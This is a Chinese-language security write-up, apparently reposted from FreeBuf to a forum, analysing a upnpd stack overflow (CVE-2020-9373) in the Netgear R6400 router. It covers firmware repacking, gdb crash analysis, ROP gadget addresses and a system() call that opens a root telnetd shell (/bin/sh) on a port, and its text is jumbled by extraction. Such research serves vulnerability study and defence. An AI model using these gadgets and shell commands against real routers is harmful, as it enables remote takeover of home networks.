搜索

[15133] 2020-03-15_NetgearR6400upnp栈溢出漏洞分析

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-18
2020-03-15_NetgearR6400upnp栈溢出漏洞分析 N e t g e a r   R 6 4 0 0   u p n p 栈 溢 出 漏 洞 分 析 k l o v e y   F r e e B u f   2 0 2 0 - 0 3 - 1 5 一 、 基 本 情 况 一 、 基 本 情 况 N e t g e a r   R 6 4 0 0   多 个 固 件 版 本 中 的 多 个 固 件 版 本 中 的 u p n p d 存 在 栈 溢 出 漏 洞 存 在 栈 溢 出 漏 洞 ( C V E - 2 0 2 0 - 9 3 7 3 ) ， 通 过 向 其 ， 通 过 向 其 u d p   1 9 0 0 端 口 发 送 构 造 的 端 口 发 送 构 造 的 s s d p 数 据 包 ， 可 能 导 致 数 据 包 ， 可 能 导 致 D O S 或 或 R C E 。 下 文 的 测 试 均 使 用 。 下 文 的 测 试 均 使 用 V 1 . 0 . 1 . 5 2 _ 1 . 0 . 3 6 这 本 版 本 的 固 件 包 。 这 本 版 本 的 固 件 包 。 N e t g e a r   r 6 4 0 0 N e t g e a r   R 6 4 0 0   是 网 件 的 A C 1 7 5 0 无 线 路 由 器 ， 2 . 4 G H z 和 5 G H z 双 频 支 持 ， 最 高 带 宽 1 7 5 0 M b p s （ 4 5 0 + 1 3 0 0   M b p s ） ， 机 身 带 有 一 个 U S B   3 . 0 接 口 、 一 个 U S B   2 . 0 接 口 。 u p n p   协 议 协 议 通 用 即 插 即 用 （ U n i v e r s a l   P l u g   a n d   P l a y ， 简 称 U P n P ） 是 由 “ 通 用 即 插 即 用 论 坛 ” （ U P n P ™   F o r u m ） 推 广 的 一 套 网 络 协 议 。 该 协 议 的 目 标 是 使 家 庭 网 络 （ 数 据 共 享 、 通 信 和 娱 乐 ） 和 公 司 网 络 中 的 各 种 设 备 能 够 相 互 无 缝 连 接 ， 并 简 化 相 关 网 络 的 实 现 。 U P n P 检 测 协 议 是 基 于 简 单 服 务 发 现 协 议 （ S S D P ） 的 。 s s d p   协 议 协 议 简 单 服 务 发 现 协 议 （ S S D P ， S i m p l e   S e r v i c e   D i s c o v e r y   P r o t o c o l ） 是 一 种 应 用 层 协 议 ， 是 构 成 通 用 即 插 即 用 ( U P n P ) 技 术 的 核 心 协 议 之 一 。 简 单 服 务 发 现 协 议 提 供 了 在 局 部 网 络 里 面 发 现 设 备 的 机 制 。 二 、 准 备 工 作 二 、 准 备 工 作 2 . 1   固 件 分 析 固 件 分 析 b i n w a l k 解 析 通 过 b i n w a l k 解 析 ， 固 件 结 构 比 较 清 晰 。 固 件 由 n e t g e a r   h e a d e r ( 0 x 3 A 字 节 )   + T R X   h e a d e r ( 0 x 1 c 字 节 ) + l i n u x   k e r n e l + s q u a s h f s 文 件 系 统 构 成 。 2 . 1 . 1   n e t g e a r   h e a d e r 前 0 x 3 A 字 节 是 n e t g e a r 自 带 的 h e a d e r ， 由 于 从 n e t g e a r 的 开 源 软 件 中 找 到 了 打 包 软 件 ， 所 以 并 未 对 其 过 多 分 析 ， 但 是 可 以 较 明 显 地 看 出 包 含 版 本 号 ， 文 件 大 小 ， 校 验 码 等 信 息 。 2 . 1 . 2   T R X   h e a d e r 结 构 示 意 图 ： >   b i n w a l k   R 6 4 0 0 - V 1 . 0 . 1 . 5 2 _ 1 . 0 . 3 6 . c h k D E C I M A L               H E X A D E C I M A L           D E S C R I P T I O N - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 8                         0 x 3 A                         T R X   f i r m w a r e   h e a d e r ,   l i t t l e   e n d i a n ,   i m a g e   s i z e :   3 1 9 7 7 4 7 2   b y t e s ,   C R C 3 2 :   0 x 4 B D F 3 8 B 9 ,   f l a g s :   0 x 0 ,   v e r s i o n :   1 ,   h e a d e r   s i z e :   2 8   b y t e s ,   l o a d e r   o f f s e t :   0 8 6                         0 x 5 6                         L Z M A   c o m p r e s s e d   d a t a ,   p r o p e r t i e s :   0 x 5 D ,   d i c t i o n a r y   s i z e :   6 5 5 3 6   b y t e s ,   u n c o m p r e s s e d   s i z e :   5 1 7 3 3 4 4   b y t e s 2 1 0 4 6 1 4               0 x 2 0 1 D 2 6                 S q u a s h f s   f i l e s y s t e m ,   l i t t l e   e n d i a n ,   v e r s i o n   4 . 0 ,   c o m p r e s s i o n : x z ,   s i z e :   2 9 8 6 9 2 8 9   b y t e s ,   1 6 4 5   i n o d e s ,   b l o c k s i z e :   1 3 1 0 7 2   b y t e s ,   c r e a t e d :   2 0 1 9 - 1 1 - 0 7   0                                       1                                       2                                       3   0   1   2   3   4   5   6   7   8   9   0   1   2   3   4   5   6   7   8   9   0   1   2   3   4   5   6   7   8   9   0   1 + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                           m a g i c   n u m b e r   ( ' H D R 0 ' )                                           | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                     l e n g t h   ( h e a d e r   s i z e   +   d a t a )                                     | + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                               3 2 - b i t   C R C   v a l u e                                                 | + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                       T R X   f l a g s                       |                     T R X   v e r s i o n                     | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                             P a r t i t i o n   o f f s e t [ 0 ]                                             | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                             P a r t i t i o n   o f f s e t [ 1 ]                                             | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
头 结 构 定 义 如 下 ： c r c 3 2 校 验 是 对 校 验 值 后 所 有 数 据 的 校 验 ， 通 过 简 单 验 证 ， 发 现 c r c 校 验 值 与 此 前 b i n w a l k 输 出 结 果 一 致 。 2 . 2   调 试 准 备 调 试 准 备 2 . 2 . 1   修 改 固 件 R 6 4 0 0 路 由 器 本 身 没 有 提 供 s h e l l 交 互 接 口 ， 可 以 通 过 刷 入 第 三 方 固 件 + 上 传 u p n p d 的 方 式 调 试 ， 网 上 有 很 多 第 三 方 固 件 的 刷 机 方 法 ， 在 此 不 再 赘 述 。 笔 者 利 用 的 方 式 是 直 接 修 改 s q u a s h f s 文 件 ， 开 启 b u s y b o x 自 带 的 t e l n e t d 服 务 。 由 于 时 间 有 限 ， 并 未 对 整 个 系 统 启 动 过 程 作 详 细 分 析 ， 仅 利 用 对 / u s r / s b i n / d l n a d 修 改 替 换 的 简 单 方 法 。 替 换 后 的 d l n a : 2 . 2 . 2   固 件 打 包 R 6 4 0 0 提 供 了 部 分 开 源 代 码 ， 当 然 可 以 通 过 编 译 生 成 新 的 固 件 ， 但 笔 者 这 里 讨 巧 地 利 用 直 接 二 进 制 编 辑 替 换 原 固 件 中 s q u a s h f s ， 再 更 新 T R X   h e a d e r 和 n e t g e a r   h e a d e r 的 方 式 ， 省 去 A R M 交 叉 编 译 过 程 。 T R X 需 更 新 c r c 3 2 校 验 值 和 长 度 ， n e t g e a r   h e a d e r 利 用 开 源 工 具 链 中 的 p a c k e t 和 c o m p a t i b l e _ r 6 4 0 0 . t x t 工 具 : 注 意 在 打 包 s q u s h f s 需 指 明 压 缩 方 式 为 x z ， 否 则 刷 机 可 能 出 现 故 障 : 默 认 生 成 i m a g e . c h k 就 可 以 刷 机 了 ， 如 果 刷 机 失 败 导 致 无 法 连 接 可 参 考 本 文 底 部 链 接 救 砖 。 重 新 启 动 后 发 现 t e l n e t   1 2 3 4 端 口 可 以 连 接 ， 说 明 刷 机 成 功 。 三 、 漏 洞 发 掘 三 、 漏 洞 发 掘 由 于 漏 洞 比 较 明 显 ， 是 u p n p d 处 理 s s d p 包 时 直 接 利 用 s t r c p y 复 制 未 经 过 滤 的 数 据 导 致 的 栈 溢 出 ， 通 过 二 进 制 危 险 函 数 审 计 就 可 以 发 掘 。 笔 者 是 利 用 g i h u b 上 的 u p n p   f u z z 工 具 测 试 发 现 的 ( s e n d 第 二 个 包 就 产 生 了 c r a s h ) 。 协 议 本 身 比 较 简 单 ， 测 试 脚 本 完 全 可 以 自 行 开 发 ， 当 然 利 用 s u l l e y   p e a c h 等 开 源 框 架 也 能 很 快 实 现 ， 笔 者 还 顺 手 对 d n s m a s q 和 w e b 等 作 了 f u z z 测 试 ， 由 于 时 间 和 水 平 有 限 ， 未 有 结 果 。 用 g d b 调 试 可 以 看 到 程 序 产 生 了 S e g m e n t a t i o n   f a u l t : |                                             P a r t i t i o n   o f f s e t [ 2 ]                                             | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + s t r u c t   t r x _ h e a d e r   {         u i n t 3 2 _ t   m a g i c ;                 / *   " H D R 0 "   * /         u i n t 3 2 _ t   l e n ;                 / *   L e n g t h   o f   f i l e   i n c l u d i n g   h e a d e r   * /         u i n t 3 2 _ t   c r c 3 2 ;                 / *   3 2 - b i t   C R C   f r o m   f l a g _ v e r s i o n   t o   e n d   o f   f i l e   * /         u i n t 3 2 _ t   f l a g _ v e r s i o n ;         / *   0 : 1 5   f l a g s ,   1 6 : 3 1   v e r s i o n   * /         u i n t 3 2 _ t   o f f s e t s [ 4 ] ;         / *   O f f s e t s   o f   p a r t i t i o n s   f r o m   s t a r t   o f   h e a d e r   * / } ; p r i n t ( " 0 x % x "   %   ( ( ~ z l i b . c r c 3 2 ( f p . r e a d ( ) [ 0 x 4 6 : ] ) )   &   0 x f f f f f f f f ) ) >   p y t h o n 3   c r c 3 2 c h e c k . p y   R 6 4 0 0 - V 1 . 0 . 1 . 5 2 _ 1 . 0 . 3 6 . c h k 0 x 4 b d f 3 8 b 9 #   m v   s q u a s h f s / u s r / s b i n / d l n a d   s q u a s h f s / u s r / s b i n / d l n a d d #   t o u c h   s q u a s h f s / u s r / b i n / d l n a d #   c h m o d   + x   s q u a s h f s / u s r / b i n / d l n a d   # ! / b i n / s h / u s r / s b i n / t e l n e t d   - F   - l   / b i n / s h   - p   1 2 3 4   & / u s r / s b i n / d l n a d d   & . / p a c k e t   - k   % s   - f   r o o t f s   - b   c o m p a t i b l e _ r 6 4 0 0 . t x t                   - o k   k e r n e l   - o a l l   i m a g e   - o r   r o o t f s   - i   a m b i t C f g . h m k s q u a s h f s   s q u a s h f s - r o o t   s q u a s h f s - r o o t . s q u a s h   - c o m p   x z #   t e l n e t   1 9 2 . 1 6 8 . 1 . 1   1 2 3 4 B u s y B o x   v 1 . 7 . 2   ( 2 0 1 9 - 1 1 - 0 7   2 0 : 1 9 : 1 2   C S T )   b u i l t - i n   s h e l l   ( a s h ) E n t e r   ' h e l p '   f o r   a   l i s t   o f   b u i l t - i n   c o m m a n d s . # #   c d   / t m p #   t f t p   1 9 2 . 1 6 8 . 1 . 2   - l   g d b   - r   g d b   - g   o c t e t #   c h m o d   + x   g d b #   p s   | g r e p   u p n p d 1 0 9 3 6   a d m i n             2 4 0 0   S       u p n p d 1 2 5 8 0   a d m i n             1 3 1 6   R       g r e p   u p n p d # . / g d b   - - p i d = 1 0 9 3 6
利 用 i d a 回 溯 s u b _ b 8 2 0 函 数 发 现 漏 洞 可 能 存 在 s u b _ 2 2 2 7 0 的 s t r c p y 中 ： G N U   g d b   ( G D B )   7 . 1 1 C o p y r i g h t   ( C )   2 0 1 6   F r e e   S o f t w a r e   F o u n d a t i o n ,   I n c . L i c e n s e   G P L v 3 + :   G N U   G P L   v e r s i o n   3   o r   l a t e r   < h t t p : / / g n u . o r g / l i c e n s e s / g p l . h t m l > T h i s   i s   f r e e   s o f t w a r e :   y o u   a r e   f r e e   t o   c h a n g e   a n d   r e d i s t r i b u t e   i t . T h e r e   i s   N O   W A R R A N T Y ,   t o   t h e   e x t e n t   p e r m i t t e d   b y   l a w .     T y p e   " s h o w   c o p y i n g " a n d   " s h o w   w a r r a n t y "   f o r   d e t a i l s . T h i s   G D B   w a s   c o n f i g u r e d   a s   " a r m - l i n u x - g n u e a b i " . T y p e   " s h o w   c o n f i g u r a t i o n "   f o r   c o n f i g u r a t i o n   d e t a i l s . F o r   b u g   r e p o r t i n g   i n s t r u c t i o n s ,   p l e a s e   s e e : < h t t p : / / w w w . g n u . o r g / s o f t w a r e / g d b / b u g s / > . F i n d   t h e   G D B   m a n u a l   a n d   o t h e r   d o c u m e n t a t i o n   r e s o u r c e s   o n l i n e   a t : < h t t p : / / w w w . g n u . o r g / s o f t w a r e / g d b / d o c u m e n t a t i o n / > . F o r   h e l p ,   t y p e   " h e l p " . T y p e   " a p r o p o s   w o r d "   t o   s e a r c h   f o r   c o m m a n d s   r e l a t e d   t o   " w o r d " . A t t a c h i n g   t o   p r o c e s s   1 5 4 0 9 R e a d i n g   s y m b o l s   f r o m   / u s r / s b i n / u p n p d . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / u s r / l i b / l i b n v r a m . s o . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / u s r / l i b / l i b a c o s _ s h a r e d . s o . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / u s r / l i b / l i b n a t . s o . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / l i b / l i b c r y p t . s o . 0 . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / l i b / l i b g c c _ s . s o . 1 . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / l i b / l i b c . s o . 0 . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / l i b / l i b m . s o . 0 . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . R e a d i n g   s y m b o l s   f r o m   / l i b / l d - u C l i b c . s o . 0 . . . ( n o   d e b u g g i n g   s y m b o l s   f o u n d ) . . . d o n e . 0 x 4 0 1 1 f 4 c c   i n   s e l e c t   ( )   f r o m   / l i b / l i b c . s o . 0 ( g d b ) c C o n t i n u i n g . P r o g r a m   r e c e i v e d   s i g n a l   S I G S E G V ,   S e g m e n t a t i o n   f a u l t . 0 x 4 0 1 e 3 9 5 4   i n   s t r s t r   ( )   f r o m   / l i b / l i b c . s o . 0 ( g d b )   b a c k t r a c e # 0     0 x 4 0 1 e 3 9 5 4   i n   s t r s t r   ( )   f r o m   / l i b / l i b c . s o . 0 # 1     0 x 0 0 0 0 b 8 2 0   i n   ? ?   ( ) B a c k t r a c e   s t o p p e d :   p r e v i o u s   f r a m e   i d e n t i c a l   t o   t h i s   f r a m e   ( c o r r u p t   s t a c k ? ) ( g d b ) i   r r 0                           0 x 4 1 4 1 4 1 4 1               1 0 9 4 7 9 5 5 8 5 r 1                           0 x b e e e f c c 4               3 2 0 3 3 3 3 3 1 6 r 2                           0 x b e e e f c c 4               3 2 0 3 3 3 3 3 1 6 r 3                           0 x 4 1 4 1 4 1 4 1               1 0 9 4 7 9 5 5 8 5 r 4                           0 x 4 1           6 5 r 5                           0 x b e e e f c c 0               3 2 0 3 3 3 3 3 1 2 r 6                           0 x b e e e f c c 4               3 2 0 3 3 3 3 3 1 6 r 7                           0 x b e e e f c c 0               3 2 0 3 3 3 3 3 1 2 r 8                           0 x b e e e f c c 4               3 2 0 3 3 3 3 3 1 6 r 9                           0 x 3 0 a         7 7 8 r 1 0                         0 x 1             1 r 1 1                         0 x b 8 f 7 c     7 5 7 6 2 8 r 1 2                         0 x 4 c 7 a c     3 1 3 2 6 0 s p                           0 x b e e e f 6 7 8               0 x b e e e f 6 7 8 l r                           0 x b 8 2 0       4 7 1 3 6 p c                           0 x 4 0 1 e 3 9 5 4               0 x 4 0 1 e 3 9 5 4   < s t r s t r + 2 4 > c p s r                       0 x 2 0 0 0 0 0 1 0               5 3 6 8 7 0 9 2 8   t e x t : 0 0 0 2 2 2 7 0 . t e x t : 0 0 0 2 2 2 7 0                                   S T M F D                       S P ! ,   { R 4 - R 1 1 , L R } . t e x t : 0 0 0 2 2 2 7 4                                   S U B                           S P ,   S P ,   # 0 x 6 3 0 . t e x t : 0 0 0 2 2 2 7 8                                   S U B                           S P ,   S P ,   # 4 . t e x t : 0 0 0 2 2 2 7 C                                   M O V                           R 5 ,   R 2 . t e x t : 0 0 0 2 2 2 8 0                                   A D D                           R 3 ,   S P ,   # 0 x 6 5 8 + s . t e x t : 0 0 0 2 2 2 8 4                                   M O V                           R 2 ,   # 0 x 2 0 . t e x t : 0 0 0 2 2 2 8 8                                   S T R H                         R 2 ,   [ R 3 , # 0 x 2 C ] . t e x t : 0 0 0 2 2 2 8 C                                   M O V                           R 4 ,   R 0 . t e x t : 0 0 0 2 2 2 9 0                                   L D R                           R 3 ,   = d w o r d _ 8 8 5 D C . t e x t : 0 0 0 2 2 2 9 4                                   M O V                           R 6 ,   R 1 . t e x t : 0 0 0 2 2 2 9 8                                   L D R                           R 3 ,   [ R 3 ] . t e x t : 0 0 0 2 2 2 9 C                                   C M P                           R 3 ,   # 1 . t e x t : 0 0 0 2 2 2 A 0                                   M O V E Q                       R 0 ,   # 0 . t e x t : 0 0 0 2 2 2 A 4                                   B E Q                           l o c _ 2 2 3 6 4 . t e x t : 0 0 0 2 2 2 A 8                                   A D D                           R 3 ,   S P ,   # 0 x 6 5 8 + v a r _ 6 2 8 . t e x t : 0 0 0 2 2 2 A C                                   A D D                           R 7 ,   S P ,   # 0 x 6 5 8 + v a r _ 2 8 . t e x t : 0 0 0 2 2 2 B 0                                   S U B                           R 3 ,   R 3 ,   # 0 x C . t e x t : 0 0 0 2 2 2 B 4                                   A D D                           R 8 ,   S P ,   # 0 x 6 5 8 + v a r _ 3 8 . t e x t : 0 0 0 2 2 2 B 8                                   S T R                           R 3 ,   [ R 7 , # - 8 ] ! . t e x t : 0 0 0 2 2 2 B C                                   M O V                           R 1 ,   R 4     ;   s r c . t e x t : 0 0 0 2 2 2 C 0                                   M O V                           R 0 ,   R 3     ;   d e s t . t e x t : 0 0 0 2 2 2 * *                                   A D D                           R 8 ,   R 8 ,   # 0 x C . t e x t : 0 0 0 2 2 2 C 8                                   B L                             s t r c p y . t e x t : 0 0 0 2 2 2 C C                                   M O V                           R 0 ,   R 7 . t e x t : 0 0 0 2 2 2 D 0                                   M O V                           R 1 ,   R 8 . t e x t : 0 0 0 2 2 2 D 4                                   B L                             s u b _ B 8 0 0
通 过 在 s u b _ 2 2 2 7 0 函 数 下 断 点 继 续 调 试 ， 发 现 漏 洞 果 然 存 在 于 此 处 。 由 于 在 考 虑 长 度 的 情 况 下 将 r 1 指 向 地 址 的 数 据 直 接 复 制 覆 盖 r 0 指 向 的 地 址 ， 导 致 同 样 存 于 栈 中 的 r 7 指 向 的 值 被 改 变 ， 之 后 取 r 7 指 向 的 值 赋 给 r 0 ( 已 被 覆 盖 为 0 x 4 1 4 1 4 1 4 1 ) ， 将 r 0 当 作 地 址 取 值 是 因 无 法 读 取 数 据 产 生 S e g m e n t a t i o n   f a u l t 。 四 、 漏 洞 利 用 四 、 漏 洞 利 用 4 . 1   地 址 随 机 化 地 址 随 机 化 每 次 加 载 库 地 址 和 栈 地 址 都 随 机 ， 但 存 在 一 些 规 律 ， 而 u p n p d 的 地 址 是 不 变 的 ， 地 址 随 机 化 b y p a s s 常 规 思 路 是 构 造 R O P ， 需 要 解 决 以 下 两 个 问 题 。 4 . 1 . 1   字 符 串 截 断 u p n p d 文 件 较 小 ， 最 大 的 地 址 空 间 也 至 少 包 含 一 个 0 x 0 0 ， 字 符 串 截 断 无 法 多 次 跳 转 。 一 般 思 路 是 加 密 编 码 s h e l l c o d e 去 掉 0 x 0 0 防 止 截 断 ， 这 里 笔 者 利 用 一 个 比 较 简 单 的 方 法 。 由 于 s t r c p y 前 会 将 参 数 压 栈 ( A R M 是 先 存 寄 存 器 ， 但 指 向 的 b u f 仍 存 于 内 存 空 间 ) ， 由 于 网 络 中 收 取 的 是 二 进 制 流 不 存 在 截 断 问 题 ， 所 以 发 送 的 完 整 数 据 必 然 存 在 于 内 存 空 间 ， 可 以 利 用 先 利 用 一 跳 p o p 栈 数 据 ， 使 栈 地 址 刚 好 处 于 构 造 数 据 的 位 置 ， 之 后 就 可 以 不 受 0 x 0 0 影 响 直 接 用 常 规 R O P 。 在 内 存 中 找 到 没 有 截 断 的 数 据 : 4 . 1 . 2   r 7 地 址 可 读 如 果 r 7 地 址 不 可 读 就 会 在 r e t u r n 前 产 生 S e g m e n t a t i o n   f a u l t 导 致 程 序 退 出 ， 只 达 到 D O S 效 果 ， 无 法 执 行 命 令 。 同 样 存 在 之 前 的 随 机 化 和 截 断 问 题 。 这 个 问 题 笔 者 没 能 很 好 的 解 决 ， 考 虑 到 l i b c 每 次 的 加 载 地 址 存 在 一 些 规 律 ， 均 为 0 x 4 0 1 X X 4 c c ， 经 过 多 次 尝 试 ， 将 r 7 值 设 为 0 x 4 0 1 0 0 4 c c 基 本 可 实 现 需 求 ， 但 还 是 存 在 失 败 的 概 率 ， 比 如 u p n p d 多 次 异 常 重 启 后 l i b c 地 址 会 变 成 0 x 4 0 2 X X 4 c c ， 如 果 童 鞋 们 有 好 的 方 法 还 请 不 吝 赐 教 。 4 . 2   r o p 构 造 构 造 解 决 以 上 问 题 后 构 造 R O P 就 是 机 械 操 作 了 ， 可 以 利 用 p w n t o o l s ， 也 可 以 用 R O P g a d g e t 等 工 具 构 造 。 笔 者 利 用 到 的 代 码 如 下 : 由 于 r 7 可 读 问 题 没 有 很 好 解 决 ， 整 个 R O P 注 定 不 完 整 ， 所 以 在 执 行 s y s t e m 成 功 后 就 没 有 继 续 构 造 ， 对 于 u p n p d 退 出 重 启 等 还 有 进 一 步 操 作 空 间 。 执 行 效 果 如 下 ， 可 以 看 到 成 功 在 9 9 9 9 端 口 开 启 了 t e l n e t d ， 测 试 可 成 功 连 接 。 五 、 简 单 总 结 五 、 简 单 总 结 1 、 该 漏 洞 不 管 从 发 掘 到 利 用 都 比 较 简 单 ， 适 合 新 手 入 门 ， 随 着 网 络 安 全 越 来 越 被 重 视 ， 现 在 的 应 用 软 件 很 难 再 发 现 此 种 漏 洞 。 遗 憾 的 是 r 7 可 读 没 有 很 好 的 解 决 ， 如 果 童 鞋 们 有 好 的 方 法 请 不 吝 赐 教 。 2 、 使 用 u p n p 带 来 方 便 ， 但 很 多 实 现 上 都 会 暴 露 出 安 全 问 题 ， 笔 者 觉 得 此 类 设 备 在 易 用 性 和 安 全 性 的 平 衡 点 拿 捏 上 还 有 长 路 要 走 ， 建 议 如 果 不 需 要 u p n p 这 类 服 务 就 尽 量 关 闭 。 3 、 笔 者 发 现 同 为 N e t g e a r 的 设 备 W N D R 3 4 0 0 v 3 也 爆 出 类 似 漏 洞 ， 而 且 已 经 存 在 C V E 编 号 ( C V E - 2 0 1 9 - 1 4 3 6 3 ) ， 应 该 是 用 了 相 似 的 代 码 。 很 多 设 备 都 依 赖 于 o p e n w r t / d d w r t 二 次 开 发 ， 应 用 开 源 软 件 更 是 数 不 胜 数 ， 如 果 想 更 高 效 发 现 漏 洞 并 预 警 ， 二 进 制 同 源 分 析 也 是 很 值 得 研 究 的 课 题 。 4 、 h t t p s : / / g i t h u b . c o m / k o l o v e y / N e t g e a r - u p n p - c r a s h . g i t 六 、 参 考 链 接 六 、 参 考 链 接 . t e x t : 0 0 0 2 2 2 D 4                                   B L                             s u b _ B 8 0 0 . t e x t : 0 0 0 2 2 2 D 8                                   S U B S                         R 1 0 ,   R 0 ,   # 0 . t e x t : 0 0 0 2 2 2 D C                                   B E Q                           l o c _ 2 2 3 6 0   ;   j u m p t a b l e   0 0 0 2 2 4 2 4   d e f a u l t   c a s e . t e x t : 0 0 0 2 2 2 E 0                                   L D R                           R 1 ,   = a M S e a r c h   ;   " M - S E A R C H " . t e x t : 0 0 0 2 2 2 E 4                                   B L                             s t r s t r . t e x t : 0 0 0 ( g d b )   x / 2 0 x   0 x b e d 4 4 2 e 8 0 x b e d 4 4 2 e 8 :     0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1 0 x b e d 4 4 2 f 8 :     0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1 0 x b e d 4 4 3 0 8 :     0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1 0 x b e d 4 4 3 1 8 :     0 x 4 1 4 1 4 1 4 1             0 x 4 2 0 0 4 2 0 0             0 x 4 2 0 0 4 2 0 0             0 x 0 0 0 0 0 0 0 0 ( g d b )   x / 1 0 x   0 x 4 0 1 0 0 c c 0 x 4 0 1 b d 2 5 c   < s e l e c t + 1 2 > :     0 x e 3 7 0 0 a 0 1             0 x e 1 a 0 4 0 0 0             0 x 9 a 0 0 0 0 0 3             0 x e 2 6 4 4 0 0 0 0 x 4 0 1 b d 2 6 c   < s e l e c t + 2 8 > :     0 x e b f f f 0 9 9             0 x e 5 8 0 4 0 0 0             0 x e 3 e 0 4 0 0 0             0 x e 1 a 0 0 0 0 4 0 x 4 0 1 b d 2 7 c   < s e l e c t + 4 4 > :     0 x e 8 b d 8 0 9 8             0 x e 3 a 0 2 0 0 0 / / p o p 栈 内 容 ， 使 栈 地 址 触 及 s e n d 的 数 据 . t e x t : 0 0 0 1 9 1 2 4                                   A D D                           S P ,   S P ,   # 0 x D C . t e x t : 0 0 0 1 9 1 2 8                                   A D D                           S P ,   S P ,   # 0 x 8 0 0 . t e x t : 0 0 0 1 9 1 2 C                                   L D M F D                       S P ! ,   { R 4 - R 1 1 , P C } / / 将 需 要 执 行 的 命 令 地 址 赋 给 r 0 . t e x t : 0 0 0 0 C E E 4                                   M O V                           R 0 ,   R 4     ;   s . t e x t : 0 0 0 0 C E E 8                                   M O V                           R 1 ,   # 0     ;   c . t e x t : 0 0 0 0 C E E C                                   M O V                           R 2 ,   R 5     ;   n . t e x t : 0 0 0 0 C E F 0                                   B L                             m e m s e t . t e x t : 0 0 0 0 C E F 4                                   M O V                           R 0 ,   R 4     ;   d e s t . t e x t : 0 0 0 0 C E F 8                                   M O V                           R 1 ,   S P     ;   s r c . t e x t : 0 0 0 0 C E F C                                   B L                             s t r c p y . t e x t : 0 0 0 0 C F 0 0                                   A D D                           S P ,   S P ,   # 0 x 4 0 0 . t e x t : 0 0 0 0 C F 0 4                                   L D M F D                       S P ! ,   { R 4 - R 6 , P C } / / 执 行 s y s t e m . t e x t : 0 0 0 1 7 8 7 8                                   B L                             s y s t e m . t e x t : 0 0 0 1 7 8 7 C                                   M O V                           R 0 ,   # 1 #   p s   | g r e p   t e l n e t 1 0 9 1 2   a d m i n             1 2 9 2   S       / u s r / s b i n / t e l n e t d   - p   1 2 3 4 1 1 5 8 7   a d m i n             1 2 9 6   S       s h   - c   t e l n e t d   - F   - l   / b i n / s h   - p   9 9 9 9 ; 1 1 5 8 8   a d m i n             1 2 9 6   S       t e l n e t d   - F   - l   / b i n / s h   - p   9 9 9 9 1 2 2 8 0   a d m i n             1 3 1 6   S       g r e p   t e l n e t
N e t g e a r 官 方 信 息 ： h t t p s : / / w w w . n e t g e a r . c o m / a b o u t / s e c u r i t y / 固 件 下 载 ： h t t p s : / / w w w . n e t g e a r . c o m / s u p p o r t / p r o d u c t / R 6 4 0 0 . a s p x # F i r m w a r e   V e r s i o n   1 . 0 . 1 . 3 2 G P L 开 源 软 件 下 载 ： h t t p : / / w w w . d o w n l o a d s . n e t g e a r . c o m / f i l e s / G D C / R 6 4 0 0 / R 6 4 0 0 - V 1 . 0 . 1 . 3 4 _ 1 . 0 . 2 4 . z i p 救 砖 教 程 ： h t t p : / / k o o l s h a r e . c n / t h r e a d - 1 4 2 2 3 2 - 1 - 6 . h t m l u p n p _ f u z z i n g : h t t p s : / / g i t h u b . c o m / w 0 l f z h a n g / u p n p _ f u z z i n g . g i t * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： k l o v e y ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理